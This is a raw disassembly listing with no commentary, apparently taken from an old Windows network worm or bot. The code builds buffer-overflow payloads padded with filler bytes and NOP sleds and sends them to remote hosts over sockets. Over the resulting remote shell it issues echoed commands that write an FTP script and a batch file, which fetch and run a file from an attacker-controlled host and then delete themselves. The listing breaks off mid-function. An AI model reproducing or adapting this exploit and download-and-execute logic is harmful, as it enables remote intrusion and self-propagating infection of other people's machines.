call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_4458A0
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_4458A8
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B7C
lea ecx, [esp+864h+var_830]
call sub_4017D5
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B7C
push offset loc_445C28
lea ecx, [esp+868h+var_810]
call sub_402054
lea ecx, [esp+864h+var_810]
call sub_401B7C
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401843
lea ecx, [esp+864h+var_808]
call sub_401B7C
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EC9
lea ecx, [esp+864h+var_808]
call sub_4016C2
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402054
push 4
push offset dword_4458AC
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B7C
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_401505
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_401505
lea ecx, [esp+864h+var_820]
call sub_4017D5
lea ecx, [esp+864h+var_848]
call sub_4016C2
lea ecx, [esp+864h+var_810]
call sub_4016C2
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_401505
lea ecx, [esp+864h+var_828]
call sub_4017D5
lea ecx, [esp+864h+var_840]
call sub_4016C2
lea ecx, [esp+864h+var_830]
call sub_4016C2
lea ecx, [esp+864h+var_820]
call sub_4016C2
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B7C
push 2
push offset dword_445C1C
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_401505
lea ecx, [esp+864h+var_838]
call sub_4017D5
lea ecx, [esp+864h+var_828]
call sub_4016C2
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016C2
push offset dword_445C18
lea ecx, [esp+868h+var_858]
call sub_402054
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_444E60
lea ecx, [esp+868h+var_850]
call sub_402054
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016C2
push offset dword_445C0C
lea ecx, [esp+868h+var_858]
call sub_402054
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_445C08
lea ecx, [esp+868h+var_818]
call sub_402054
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4016C2
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424CF5: ; CODE XREF: sub_424920+1Ej
; sub_424920+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424920 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_401AC8j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424E89
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424E89: ; CODE XREF: sub_424E20+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_438256
sub_424E20 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424EA0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424EA0: ; CODE XREF: ___:00424E96j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
call near ptr 71AB615Ah
nop
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F00 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_511CA0
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; send
cmp eax, 4
jz short loc_424F33
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424F33: ; CODE XREF: sub_424F00+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; send
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424F00 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F70 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424FA3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424F70+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_44593C
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_4458B4
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_44596C
mov [ebx+31h], eax
mov ecx, dword_445970
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_510100
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_510104
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_425048
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425048: ; CODE XREF: sub_424F70+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AC8
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_425083
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425083: ; CODE XREF: sub_424F70+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AC8
push ebx
call near ptr 77C2C21Bh
nop
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424F70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425100 proc near ; CODE XREF: sub_401820j
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = word ptr -418h
var_416 = dword ptr -416h
var_412 = dword ptr -412h
var_40E = dword ptr -40Eh
var_40A = word ptr -40Ah
var_408 = dword ptr -408h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 420h
push ebp
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [esp+42Ch+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_445AE0
lea edi, [esp+42Ch+var_400]
rep movsd
movsw
mov ecx, offset byte_449511
movsb
call sub_4017EE
push eax
mov ecx, offset byte_449511
call sub_4017EE
mov ecx, [esp+430h+arg_0]
push eax
mov eax, dword_44964F
push eax
push ecx
call sub_401E10
add esp, 4
lea edx, [esp+438h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
nop
call near ptr 77C3FA76h
add eax, 90h
lea ecx, [esp+448h+var_408]
push eax
lea eax, [esp+44Ch+var_400]
push eax
push 164h
push offset sub_445978
push ecx
call sub_401BFE
mov edx, [eax]
xor edi, edi
mov [esp+45Ch+var_420], edx
add esp, 30h
mov eax, [eax+4]
cmp eax, edi
mov [esp+42Ch+var_41C], eax
jnz short loc_4251B2
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 420h
retn
; ---------------------------------------------------------------------------
loc_4251B2: ; CODE XREF: sub_425100+A4j
mov ebp, dword_511C38
mov [esp+42Ch+var_408], edi
loc_4251BC: ; CODE XREF: sub_425100+161j
test edi, edi
jnz loc_425267
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_42524A
mov ecx, [esp+42Ch+arg_9E]
xor eax, eax
mov [esp+42Ch+var_416], eax
push ecx
mov [esp+430h+var_412], eax
mov [esp+430h+var_418], 2
mov [esp+430h+var_40E], eax
mov [esp+430h+var_40A], ax
call ebp ; ntohs
lea edx, [esp+42Ch+arg_4]
mov word ptr [esp+42Ch+var_416], ax
push edx
call near ptr 71AB2BF4h
nop
mov [esp+42Ch+var_416+2], eax
lea eax, [esp+42Ch+var_418]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_42523F
mov ecx, [esp+42Ch+var_41C]
mov edx, [esp+42Ch+var_420]
push ecx
push edx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_42523F: ; CODE XREF: sub_425100+123j
push esi
call near ptr 71AB9639h
nop
test edi, edi
jnz short loc_425255
loc_42524A: ; CODE XREF: sub_425100+D5j
push 3E8h
call near ptr 2831C1Ah
nop
loc_425255: ; CODE XREF: sub_425100+148j
mov eax, [esp+42Ch+var_408]
inc eax
cmp eax, 2
mov [esp+42Ch+var_408], eax
jl loc_4251BC
loc_425267: ; CODE XREF: sub_425100+BEj
lea ecx, [esp+42Ch+var_420]
call sub_4016C2
test edi, edi
jz short loc_425297
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E8h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425297: ; CODE XREF: sub_425100+172j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 420h
retn
sub_425100 endp
; ---------------------------------------------------------------------------
aRrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
align 4
dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h
dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_425370 proc near ; CODE XREF: sub_4013D4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 0C8h
nop
call near ptr 2831C1Ah
mov edx, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+4+arg_0]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
sub_425370 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253C0 proc near ; CODE XREF: sub_4013BBj
var_434 = byte ptr -434h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_4253C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 428h
xor eax, eax
push ebx
mov [esp+438h+var_41C], eax
push esi
mov [esp+43Ch+var_418], eax
lea ecx, [esp+43Ch+arg_4]
push edi
mov [esp+440h+var_414], eax
push ecx
mov [esp+444h+var_410], eax
mov word ptr [esp+444h+var_41C], 2
nop
call near ptr 71AB2BF4h
mov dx, word_510108
mov [esp+440h+var_418], eax
push edx
nop
call near ptr 71AB2B66h
push 0
push 1
push 2
mov word ptr [esp+44Ch+var_41C+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
or ebx, 0FFFFFFFFh
cmp esi, ebx
jz loc_4256BE
lea eax, [esp+440h+var_41C]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, ebx
jz loc_4256BE
mov edi, dword_511CA4
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
lea ecx, [esp+440h+var_434]
call sub_40142E
mov edx, dword_44964F
mov eax, [esp+440h+arg_0]
push edx
push eax
mov [esp+448h+var_4], 0
call sub_401E10
add esp, 4
lea ecx, [esp+444h+var_434]
push eax
push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449511
call sub_4017EE
push eax
lea ecx, [esp+444h+var_434]
push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoBye_pif ; "echo bye>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449511
call sub_4017EE
push eax
lea edx, [esp+444h+var_434]
push offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea eax, [esp+440h+var_434]
push offset dword_4467A4
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jnz short loc_4256C2
loc_4256AE: ; CODE XREF: sub_4253C0+F3j
; sub_4253C0+120j ...
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
loc_4256BE: ; CODE XREF: sub_4253C0+6Fj
; sub_4253C0+85j
xor al, al
jmp short loc_4256EA
; ---------------------------------------------------------------------------
loc_4256C2: ; CODE XREF: sub_4253C0+2ECj
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
mov al, 1
loc_4256EA: ; CODE XREF: sub_4253C0+300j
mov ecx, [esp+440h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 434h
retn
sub_4253C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257F0 proc near ; CODE XREF: sub_40180Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_28 = byte ptr 2Ch
arg_2C = byte ptr 30h
arg_2F = byte ptr 33h
arg_59 = byte ptr 5Dh
arg_5B = byte ptr 5Fh
arg_5C = byte ptr 60h
arg_90 = byte ptr 94h
arg_A4 = byte ptr 0A8h
arg_A5 = byte ptr 0A9h
arg_F0 = byte ptr 0F4h
arg_190 = byte ptr 194h
arg_89C = dword ptr 8A0h
arg_8AC = byte ptr 8B0h
arg_8D4 = dword ptr 8D8h
arg_8E4 = byte ptr 8E8h
arg_C08 = dword ptr 0C0Ch
arg_C0C = dword ptr 0C10h
arg_C18 = byte ptr 0C1Ch
arg_E30 = byte ptr 0E34h
arg_E50 = byte ptr 0E54h
arg_E70 = byte ptr 0E74h
arg_E90 = byte ptr 0E94h
arg_1480 = byte ptr 1484h
arg_14E0 = byte ptr 14E4h
arg_14FC = byte ptr 1500h
arg_1CCC = byte ptr 1CD0h
arg_2177 = byte ptr 217Bh
arg_2464 = byte ptr 2468h
arg_24C5 = byte ptr 24C9h
arg_34F8 = byte ptr 34FCh
arg_3FA0 = byte ptr 3FA4h
arg_3FC0 = byte ptr 3FC4h
arg_401C = byte ptr 4020h
arg_401D = byte ptr 4021h
arg_4020 = byte ptr 4024h
arg_4030 = byte ptr 4034h
arg_4AF4 = byte ptr 4AF8h
arg_6098 = byte ptr 609Ch
arg_60F8 = byte ptr 60FCh
arg_6100 = byte ptr 6104h
arg_8140 = byte ptr 8144h
arg_81DC = byte ptr 81E0h
arg_8234 = dword ptr 8238h
arg_8290 = dword ptr 8294h
arg_8294 = dword ptr 8298h
mov eax, 81D8h
call sub_437B30
mov eax, dword_446904
mov ecx, dword_446908
push ebx
push ebp
push esi
lea edx, [esp+0Ch+arg_81DC]
push edi
mov [esp+10h], eax
push edx
lea eax, [esp+14h+arg_4]
push offset dword_4468F8
push eax
mov [esp+1Ch+arg_0], ecx
nop
call sub_5F285B
add esp, 0Ch
xor eax, eax
lea ecx, [esp+10h+arg_A5]
loc_425835: ; CODE XREF: sub_4257F0+56j
mov dl, [esp+eax+10h+arg_4]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 28h
jl short loc_425835
mov ecx, 18h
mov esi, offset dword_4461C8
lea edi, [esp+10h+arg_2C]
xor eax, eax
rep movsd
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+10h+arg_A4]
shl ecx, 1
mov eax, ecx
lea edi, [esp+10h+arg_5C]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, dword_44621F
rep movsb
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
mov eax, dword_446223
dec ecx
lea edi, [esp+10h+arg_4]
lea ecx, [esp+ecx*2+10h+arg_5B]
mov [ecx], edx
mov dl, byte_446227
mov [ecx+4], eax
xor eax, eax
mov [ecx+8], dl
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+10h+arg_4]
mov ebx, ecx
or ecx, 0FFFFFFFFh
add bl, 1Ah
shl bl, 1
repne scasb
mov ax, word_510108
mov [esp+10h+arg_2F], bl
not ecx
dec ecx
push eax
shl cl, 1
add cl, 9
mov [esp+14h+arg_59], cl
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_8294]
xor eax, 9999h
test edx, edx
mov word_445EC8, ax
jz loc_4259E3
mov ecx, 36Bh
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov edx, dword_4465BC[edx*8]
rep stosd
mov edi, offset loc_445E18
or ecx, 0FFFFFFFFh
xor eax, eax
mov esi, offset loc_445E18
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_8E4]
mov eax, ecx
mov [esp+14h+arg_8D4], edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, dword_4468F0
mov edi, offset loc_445E18
mov [esp+14h+arg_C08], ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov [esp+14h+arg_C0C], edx
mov edx, ecx
mov esi, offset loc_445E18
lea edi, [esp+14h+arg_C18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+14h+arg_24C5]
loc_42598F: ; CODE XREF: sub_4257F0+1B5j
mov dl, [esp+eax+14h+arg_F0]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 0DACh
jl short loc_42598F
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_60F8]
mov [esp+14h+arg_401C], 0
rep stosd
stosw
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_4020]
mov [esp+14h+arg_401D], 0
rep stosd
stosw
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_4259E3: ; CODE XREF: sub_4257F0+10Bj
mov ecx, 1F4h
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov esi, offset loc_445E18
rep stosd
mov edi, offset loc_445E18
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_190]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+14h+var_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+14h+var_4]
mov edx, ecx
lea edi, [esp+14h+arg_8AC]
shr ecx, 2
rep movsd
mov eax, dword_4465BC
mov ecx, edx
and ecx, 3
rep movsb
mov [esp+14h+arg_89C], eax
loc_425A52: ; CODE XREF: sub_4257F0+1F1j
mov ecx, 38Ah
mov eax, 31313131h
lea edi, [esp+14h+arg_14E0]
mov ebp, [esp+14h+arg_8290]
rep stosd
movsx ecx, bl
mov ebx, dword_511CA0
add ecx, 4
push 0
lea edx, [esp+18h+arg_28]
push ecx
push edx
push ebp
stosb
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425A96
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425A96: ; CODE XREF: sub_4257F0+297j
mov esi, dword_511CA4
push 0
lea eax, [esp+28h+arg_E90]
push 640h
push eax
push ebp
call esi ; recv
push 0
push 68h
push offset dword_44622C
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ACC
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425ACC: ; CODE XREF: sub_4257F0+2CDj
push 0
lea ecx, [esp+48h+arg_E70]
push 640h
push ecx
push ebp
call esi ; recv
push 0
push 0A0h
push offset dword_446298
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425AFF
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425AFF: ; CODE XREF: sub_4257F0+300j
push 0
lea edx, [esp+68h+arg_E50]
push 640h
push edx
push ebp
call esi ; recv
mov eax, [esp+74h+arg_8234]
test eax, eax
jz loc_425BE5
mov ecx, 1Ah
mov esi, offset dword_446450
lea edi, [esp+74h+arg_6098]
push 0
rep movsd
mov ecx, 6D6h
lea esi, [esp+78h+arg_2464]
lea edi, [esp+78h+arg_6100]
lea eax, [esp+78h+arg_6098]
rep movsd
movsw
mov ecx, 1Ch
mov esi, offset dword_4464BC
lea edi, [esp+78h+arg_3FC0]
push 10FCh
rep movsd
mov ecx, 297h
lea esi, [esp+7Ch+arg_34F8]
lea edi, [esp+7Ch+arg_4030]
push eax
rep movsd
movsw
mov ecx, 21h
mov esi, offset dword_446530
lea edi, [esp+80h+arg_4AF4]
push ebp
rep movsd
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425BAB
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_4257F0+3ACj
push 0
lea ecx, [esp+88h+arg_E30]
push 640h
push ecx
push ebp
nop
